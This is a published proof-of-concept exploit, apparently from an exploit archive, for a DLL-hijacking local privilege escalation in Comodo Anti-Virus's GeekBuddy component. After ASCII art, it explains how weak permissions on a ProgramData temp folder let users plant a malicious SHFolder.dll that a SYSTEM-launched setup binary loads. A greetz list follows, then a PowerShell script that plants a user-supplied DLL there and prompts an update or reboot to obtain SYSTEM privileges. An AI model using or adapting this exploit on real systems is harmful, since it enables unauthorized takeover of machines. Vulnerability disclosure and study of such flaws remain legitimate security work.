Comodo Anti-Virus GeekBuddy DLL Hijacking

`<#  
  
  
````......````   
``,;''''''''''''''''';,`   
.;''''''''''''''''''''''''''',`   
`:''''''''+';:,.``````.,:;'''''''''':`   
,;'''''';,.` ``,;'''''';:   
`:'''''',. `,'''''';.   
`;+''+':` ,; `,''''';.   
`;'''';. `` .:;'` `. `;'''''.   
` :+''';` `,``:+'' ';;'`,''; `` `` :'''';`   
.'''';` ,';' '':'` ';,'`'',' :''' .''` :'''',   
`;''''` ;'' :+.` ;';, ';:' ''''`,;:+ '', `;''''`   
.''''. ;:`, .'.':`'''.:;`;. +;:' '::; ;''' '; .'''',   
:''';` ` '''',`':'' ..;:`','` '''' ':;;`'`';`':` :; :''';   
;''+, .;`.'.'' ';.'`';': ,:. ` ` ` `,: .';',,'`;'.`';': .+'''`   
`''''` ;'; ''.'.,','` ,` ``;`'' .`;'`''+: ;'''`   
`'''' ., .'' ,'.'' ;;. ```````` `. ``'::'`;; ` :'''.   
``''': `+,` .':`'',' `,;''''''''''+'':.` ;'.+:;'``': .'''.   
`''', '', ''`:; `:'''''''''''''''''''''';. `;'`': ''`'` .''',   
`''', ` `''` `'; .''''''''''''''''''''''''''''';` `.;' ;'.''`.: `''',   
`''', :''.`'' ` ,;'''''''''''''''''''''''''''''''';. ` `,.'::', ''` .'''.   
''', '.''`,': ,'''''''''''''''''''''''''''''''''''''', ` .+,'; ''; .'''`   
''': ''`'' ;. `'''''''''''''''''';:::;';'''''''''''''''''. ;' :': ,,` .'''   
:''; `''.'` ` :''''''''''''';:::.', `''';`:;'+'''','''''+; `,'; :''' ,'''   
.''' `` .++; `''''''''''''`. `': '''; `:''' :'''''''. .+ :''.+. :'':   
`''+ :'': `` ,''''''''''''' `': '''; `: ,'''''''': .`''.'' ` '''`   
;''. `+.',; ;'''':''''''''; ` ', .'''': ` :''''';'''; `'.',`,', `+''   
,'': '';,'. ;''''':''''''''`+` ;..`;'+''. '.:''''';'''''```.+' +:'` .'';   
`''' `;``+',;.` ;''''':''''''''.'; `;'', '` '' ;''''','''''` ;,+.+. ;''.   
;'+. :'': ;': ;'''''':''''':',''. `'';.+' '` ,'; .'''';''''''` `+.':` `'''   
`'': .+`;''` ` ;'''''':''''''.::''. .''. :: `'';`,'''':''''''` :+'. ,'',   
'''` :''.:'' :''''''':'''''; :'''' .'', `.,; :+'`''': ;''',''''''' ,` '''   
.'': `'';`` ,''''''':;''''':`''';', ,''+` ,+':' +'''''''`,'''''''''''; .+` .'':   
''' `''. :', `''''''':`'''''+.;';.:::::::,,''';`'': . .'''''''; ''''.''''''', ` ;'': '''   
.'', ','';`. '''''''; :'''''' `,;'''''''''.``` . ''''';:,`:;''+`'''',,'''''''` :'';` `+':   
'''` ''.,'; ;''''''; ''''',`,'''''''''''''.....,,,.`''''''''';;,,;.''''; :''''''' '''. ;''   
`'': .'';:; `'''''''` .+'', ,''''''''''''; '''''''++`''''':..:'''' `''''' ;'''''', ., `` .'',   
` :'' :''` ''''''+` ;''``;'''''''''''''':``,,.`````,'''''. ';.;'''` `'''''''` .++. '';   
+'' ,'''''': ;+`,'''''''''''''''''+''';;;;'''''''+` :;+,`''. `.''''''; .+'''` :'+`   
,''. ': +'''''; ,,;''''''''''''''''''''''''''''''''''. `.::,` `';.', ;''''''` :'': `. `'';   
;'' :;.;': ,''''''. `''''';;;,`.:'''''''''''''''''''''''''.;''''''':`;;;, `''''''; `.; .;'+` ;''   
'': ` ;';';' ''''''; ''';;''''''',`.'',` .:;;''''''''''.,'''''''''''.;;. ,'''''' `;''''. .''`   
.''. .';`;' .''''''. :+;;''''''''''': ;' ::::...;''+'':,'''';..``;''';. ''''''; `:''.`': `'':   
:'' ` ,'` ;''''''. :;'''''''''''''';`;, `,''';` .:;;;'''': ,'''''' .,''', '''   
;'; ''';,` `''''''''''` :''''''''''';.:'''`';:` ,''';`;''''''''''', ''''''. ;';,` :''`   
`'', .;,'''; ,'''''''''' ;'''''''''':` :'''`::` ``'''',+''''''''''''+` ;'''''; .``.:;` `''.   
.''` `+;'`;` '''''''''';.'''''''',` ''';` :''';'''';::;'''''';; ` `''''''` ;'';;; `+':   
:'' ..;'' `''''''''''`'''''''', .'''` `+''';''. ,'''''''''''''''''''''''''''''''''''''':`   
;'' :. `` .'''''''''';'''''''' ;''; ;''':::` :'''''''''''''''''''''''''''''''''''''''',   
;': '''':` :'''''''''''''''''',` .''' ''''. `+'''''''''''''''''''''''''''''''''''''''''   
'', :,;'': ;''''''''''''''''''` ;''... :''''` :''''''''''''''''''''''''''''''''''''''''''`   
`''. `+'':,` ''''''''''''''''''; ,'';.+` . ,;''' `'''''''''''''''''''''''''''''''''''''''''';   
.''. `.,;'; '''''''''';''''''', ''',+. `` .' .''' ''''''''+'''''''''''''''''''''''''''''''''',   
.'+` ;''''' `` '''''''` `;''''.'++','`+.''' ''''''; `;+''''''   
,'' ''''';; ,'''';'''';'``.''' :''''''` .'''''':  
:'+ '''''': .'''';'''';'` .''' ,''''''` ,''''';  
:'' ,''''', ''''''` .'''';'''';', .'''` .''''''` ''''''  
;'' `''''''; :''''', '''''' .'''';'''';':,''''. .''''''` ''''''  
;'' `';''''' :''''', :''''; :''''''''';''.''''' `''''''` ;'''''  
;'' :''''', ,''''' `+''''''''':''.'''''` ,'''''; ''''''  
:'+ ,''''', `'''''. ,'''''''''':''::''''; ;''''': `''''''  
:'' ```. ,''''': ''''': `''''''''''',''+`'''''. `''''''. :''''''  
,''` `''''''' .'''''; `''''': '''''''''''';''',,''''', ''''''' ,'''''',  
.''` `''':,.; `'''''' `'''''': '''''''''''''';'''`'''''':. `,''''''', .''''''''   
`''` `,;;;''` '''''' `'','''';,` `,''''''''''''''',''':.''''''''''''''''''':` ;'''''''''''''''''''''''''''''',   
'', `+';;, '''''' `''`,'''''''''''''''''''''''''''':''''.:''''''''''''''''',+ '''''''''''''''''''''''''''''';   
'': ` `,. ;'''''. `''' .''''''''''''''''''''''''''''.''''`;''''''''''''''':;; `''''''''''''''''''''''''''';';   
;'; ,''''; :''''': `''''``'''''''''''''''''''''''''''`:''''`;''''''''''''';,', ,'''''''''''''''''''''''''''';   
;'' ';;,.. .'''''' `''';; :''''''''''''''''';'''''''. '''''`;'''''''''''';+'` ;'''''''''''''''''''''''''';.   
:'' `,:;''' ''''''` `'''`';` `;'''''';,''''''';''''''', .'''''..''''''''''''+: '''''''';''''''''';''''';,`   
.''. .''',` ;''''': ` ''':;''. ````` :+'''''',;''''''', '''''';..;''''''''''` `'''''' `,'': `+':   
'': ` .;. ,'''''+ .'';,'''''''';:''''''''','''''''': ;'''''''''.`,''''''' ;'''''; ,'', .''.   
''; :+.++` `''''''. +'''`'''''''''''''''''''.''''''''', .''';;'':,,'''''''', ''''''. ':''', :''`   
:'' ,';:.'. ;'''''' ''''.:''''''''''''''''';;'''''''''''.'''. `:;'''''':'': :'''''' ';,.:' '''   
.''. .;:''' .''''''` ,'''':`''''''''''''''''':''''''''''';''''.`;'''''''''.'''', '''''': ,'''', `'':   
''; ;';, ;` '''''';.+''''' ''''''''''''''''':''''''''''': :'':'''''''''',;''''': :'''';' ,. .;: ,''`   
;'' `;', `,'''''''''''''.,'''''''''''''';','''';:.`` `,.;'''''''''''.+''''''.''''''; ,'+'. '''   
.''. '''';` ''''';''''''';`'''''''''''''':.'';:,;'''':` ,:`:''''''''','',`:''':''''''` '.:''' `'':   
''' :'': `:. ,'''';;'''''''`;'''''''''''',:';`:'',,``.:'. `':`+''''''';:'',':';.''''''; `'''..' :''   
:''` `,. ;:++` ''''';,'''''';`''''''''''';;',.''....,.. ,';:.'.`'''''''.'''','';+'''''' ;. ,+''` '';   
`'': `'',`;: `'''''',''''''.:''''''''''`+.,';:''''''';.:''':'`,''''''`'''':''''''''', :':;` ,' ,'',   
;''` `+.''+` ` :'''''','''''' '''''''''' `.'''''''''''''::'''', +'''':,''''`;'''''''' +.''+; '''   
`'': ;'';` ` ''''''':''''';`'''''''', '''''''''''''''.,''''`''''',:''''`,'''''''` '''.:'; .'':   
''+` ,` ,+: `'''''','''''':`'''''''` :'''''''''''''; ;'''`+''''`;'''':+''''''.` ` :'':;, '''   
.'': ;';''. .'''''';'''''',`'''''+ ''''''''''''''` .,'';.''''' '''''''''''': +'``;'; .'',   
''+` :''; ,'` :''''','''''''.,''''' ,'''''''''''''' :''''';''''','''';''''''; ,.''. .`` '''   
`';; `+. ;'':' :''''':'''''''.:'''; ;''''''''''''': `'''''''''''.'''''.'''''' :';`''; :''.   
:'',` `'':.''` ;'''';;:''''''`'''; '''''''''''''': .'''''''''''.''',;'''''' ` :''.'''` `'''   
''' ;'.:''` ;''''';:''''':''';.'';''''''''''': ,'''''''''':;'':+''''''` .''``'+',: '''`   
.';; `;;'; ` :''''':'''''';'''`'';''''''''''': ,''''''''''`''';'''''; .,''` :` ,'':   
;'', `', `'. ,''''';''''';'''''':''''''''''': .''''''''',`+';,''''; ``.'''; ``'''   
'''` `'';: ` .'''':'''''`'''''';;''''''''''; `'''';'''',.`''+,'', ,'`:'''''` '''`   
.''' ;'.'' `;''''''''.''''''':'''';:,''';. ,''';''''',;'''',` `;''''''';. ;'',   
,''; ''.;', ,';''''';,''''''`+,` .;:;''',,'';'''+.;''''',```:+,''''''''''.:'';   
;''; ''';', '. `,''''''.'''''' `.:;'+''''+''';.,.''':,''''''` ``'''''''''''''',''   
''': .,,': :': +''''''',''';.:'+,.` `.:''':`''''''''''; `'':'''''''''''''',`   
''': ` .'' `'`;'''''''..,.:+,` ``.,.` ,'''`;'''''''+.';'.:'''':;'''''+:.'`   
''': ;:`+'` ,:..,''''''; .+: `:'+''''';` ;'; .''''': `:';:+''';`''''''. .':   
`'''; ; ;'. .';'`;'''',;'. .+''''''''''` ;;'+:'''; .+'''''''';''''''.;,'';   
`'''' ,'; :'`'`;'''':+` `'''''''''''': ;'';'''`;''''''''''''''''',.''';   
`'''' ` ` `':. ';''.+. `''''''''''''; `'''''::'''.'''',`'''''': :';;''   
''''. :;,'`:'.';', '''''''''''': ,'''','''..''': '''';;:,''. `''   
:''': `.+'' '''',' :''''''''''+. ''''''':`'''' .''';:;`.'.:' ';   
,''''` `,` ',;:'. `;;;,``'''::::;''; :';, ,'''''' ;'''` +'''.''+'.:'+`':   
`'''': ` ;'':' '''''+;.; `` ,:`''''', `'''''`,'''' :'''.''''..''','.   
:''''. .,': :'''''''.`;'''';` .''''''` '''':`+'''``''',;'''``''';:'.   
`'''''` `.'` ''''''';`'''''''': ,'''''; ;'''`''''; ''';:'''. ;''',''   
,'''''` `.'` '''''''.'''''''''', +'''''` ,'';.''''`''''`+''' ,''''`.:   
:''''', .' '''''''.'''';:.,'''`''''''. .''''''':.''',;'''``;,',' '.   
`:+'''';..; '''''':,''':'''.:''.'''''': `'`''''' ''''`''': ' ::.:`+   
`,''''':' ''''''::''+`''',;''.;''''', `'.'''';`'''.;'''`:.,+`'`,:   
.;+':' '''''';.''''';`,'''.''''''` `'.''''.,'''`'''.`;`+;`' +   
.:+` '''''''`''''''+'''+.'''''; .' ;''' ;''.;,'' ' ''.:``:   
'. :'''''':.+'''''''',;''''', ;: ;''; '''.'.,;,,:'' '`'   
;; `'''''''``;'''''',`,''''' `'` ''',.''',.:;`' ''.,.`;   
.+ ''''''' ` `.,,.`'; '''; :; `''+`;'';;: :.;`',`; ;`   
+: `'''''``';;;;;'''', `` `+. `''' '''::;;:;`;'`;..,   
,' ``.. `+''''''''''+` :' `'';`''':. ,.',''.; '   
`+' :'''''''''''', `+.` '',.''',. :,''''+ ;   
.', ;''''''''''''. ': ''.,''':` ;.''''.,.   
:'. :''''''''''', ;'` ''.:''',':;.''':.:   
''. ,:''''',` ;+` :'.:'''' ':`''; ;   
`'', ''. ::,''''``; :, '   
;+;` .'+` ``'':'`,; '``   
,'';. `.'';` :';'.,; '.   
`,''';:::::;'''. ``+;' +`   
`,:''''';,` ,,;   
  
  
  
SHFolder.DLL Local Privilege Elevation Exploit for Comodo Anti-Virus GeekBuddy Component by @Laughing_Mantis (Greg Linares)  
  
Since it took 146 days to fix a DLL Hijack issue I decided to drop this PoC:  
  
###Technical Geeky Stuff###  
  
GeekBuddy stores several helper applications within the C:\ProgramData\Comodo\lps4\temp folder.  
These binaries are individual components of the Comodo Security Suite and are executed whenever  
their related function is performed, updated, or uninstalled.  
  
The directory listing is as follows:  
10/06/2015 12:08 AM <DIR> .  
10/06/2015 12:08 AM <DIR> ..  
10/02/2015 10:43 PM 27 download.cfg  
10/02/2015 10:47 PM 637,864 setup_clps_application_vulnerability_monitor_release-4.10.307677.9.exe  
10/02/2015 10:44 PM 2,196,272 setup_clps_autoruns_manager_api_release-4.14.330616.6.exe  
10/02/2015 10:44 PM 547,088 setup_clps_boot_time_monitor_release-4.12.315371.9.exe  
10/06/2015 12:07 AM 1,014,024 setup_clps_browser_addons_api_release-4.0.292287.4.exe  
10/02/2015 10:44 PM 554,240 setup_clps_browser_addons_monitor_release-4.12.315370.6.exe  
10/06/2015 12:06 AM 950,864 setup_clps_client_transaction_release-4.19.365037.89.exe  
10/06/2015 12:08 AM 563,896 setup_clps_cross_selling_installer_monitor_release-4.12.318569.13.exe  
10/02/2015 10:43 PM 768,032 setup_clps_cspm_alert_monitor_release-4.19.360508.5.exe  
10/06/2015 12:08 AM 581,432 setup_clps_immaturely_closed_sessions_monitor_release-4.21.366534.6.exe  
10/02/2015 10:47 PM 459,432 setup_clps_memory_monitor_release-4.10.301764.3.exe  
10/02/2015 10:46 PM 1,152,480 setup_clps_system_cleaner_api_release-4.2.292287.3.exe  
10/06/2015 12:07 AM 1,989,272 setup_clps_system_cleaner_monitor_release-4.12.317464.8.exe  
10/06/2015 12:07 AM 648,912 setup_clps_windows_event_monitor_release-4.19.362032.8.exe  
10/02/2015 10:43 PM 1 survey_version.txt  
10/06/2015 12:05 AM <DIR> updates  
  
The C:\ProgramData\Comodo\lps4\temp\ folder has the following permission configuration:  
  
C:\ProgramData\Comodo\lps4\temp NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F  
BUILTIN\Administrators:(OI)(CI)(ID)F  
CREATOR OWNER:(OI)(CI)(IO)(ID)F  
BUILTIN\Users:(OI)(CI)(ID)R  
BUILTIN\Users:(CI)(ID)(special access:)  
FILE_WRITE_DATA  
FILE_APPEND_DATA  
FILE_WRITE_EA  
FILE_WRITE_ATTRIBUTES  
  
Notice how the folder allows Users to have FILE_WRITE_DATA and FILE_WRITE_EA access. This allows   
non-administrator users the ability to create files in the directory but not delete or modify   
existing files.  
  
Comodo's main service engine is controlled by the SYSTEM service Launcher-Service.exe which resides  
in the C:\Program Files (x86)\Common Files\COMODO\ folder. This service is auto launched by the   
registry key HKLM\System\CurrentControlSet\Services\CLPSLauncher  
  
This binary will then launch Unit_Manager.exe in the C:\Program Files\COMODO\GeekBuddy with SYSTEM   
level privielges. This binary in turn then launches the binary C:\Program Files\COMODO\GeekBuddy\unit.exe   
to handle each sub process in the C:\ProgramData\Comodo\lps4\temp\ folder.  
  
During client connections to update servers and Geek Buddy executions the unit.exe binary will   
launch the binary setup_clps_client_transaction_release-4.19.365037.89.exe. This setup binary has   
hardcoded DLL loading procedures to look for SHFOLDER.DLL in the current directory which it is   
executed from.  
  
.data:00409240 dd offset aShfolder ; "SHFOLDER"  
.data:00409244 dd offset aShgetfolderpat ; "SHGetFolderPathA"  
  
During this delay load procedure the exe will load SHFOLDER.DLL from its local directory before   
looking in the other PATHS variables.  
  
By planting a malicious SHFOLDER.DLL in the C:\ProgramData\Comodo\lps4\temp\ and triggering an   
update or client connection to secure servers (which occurs automatically at user login) a user can   
elevate their privileges to SYSTEM and compromise the system fully.  
  
  
######### GREETZ ######################################################################################  
1st off all my new homies in the Vectra Networks Research Team - you guys are seriously legit mad #respect to everyone here. #Humbled  
  
@taviso - keep killing it and thanks for being an inspiration  
@bill_billbil - sup girl chicken rico n chill  
@tacticalRCE - Its no 100 mile rides but will miss all the good times. C-ya around mang.  
@hellNBak_ - drop tehm greetz like its 2003  
@hacksforpancakes - make plans for other NullCon in 2016 ;)  
@jduck - we gonna juke some more toyotas next time you come visit  
@hdmoore - good luck with your ventures good sir  
@jsoo - dont give up good sir - you're doing awesome  
@thegrugq - when i grow up i hope im half as wise as you good sir  
@daveaitel - Triangular Anus logos are the best  
@da_667 - AYYYYYYYYYYYYYY LMAO  
@bonovoxly - Clever Girls Wear Pink on Wednesdays  
Derek Soeder - Respect to you brother, keep on being awesome  
Benny 29A - next time im in CZ lets get beers, im buying  
Yuji Ukai - #RESPECT to everything you have ever done and will ever do. #Ninja  
Sizzop - for fixing my greetz  
  
#########################################################################################################  
  
  
#>  
  
Param  
(  
  
[Parameter(ValueFromPipelineByPropertyName = $true)]  
[string]$DLL = ""  
)  
  
  
  
  
if (!(Test-Path $DLL))  
{  
throw "Fatal Error: The specified file: $DLL does not exist."   
}  
  
Copy-Item -Path $DLL -Destination "C:\ProgramData\Comodo\lps4\temp\SHFolder.dll" -Force  
  
Write-Host "Copying $DLL to the Comodo AV GeekBuddy's insecure temp folder as SHFolder.dll" -ForegroundColor Red  
  
  
[void][System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")  
  
$objNotifyIcon = New-Object System.Windows.Forms.NotifyIcon   
  
  
$MyPath = Get-Process -id $pid | Select-Object -ExpandProperty Path  
$objNotifyIcon.Icon = [System.Drawing.Icon]::ExtractAssociatedIcon($MyPath)  
$objNotifyIcon.BalloonTipIcon = "Info"   
$objNotifyIcon.BalloonTipText = "Hijacked SHFolder.DLL with $DLL.  
Now manually update Comodo Anti-Virus using the GUI or Reboot the system to gain SYSTEM Level Privileges"   
$objNotifyIcon.BalloonTipTitle = "@Laughing_Mantis"  
  
$objNotifyIcon.Visible = $True   
$objNotifyIcon.ShowBalloonTip(8000)  
  
`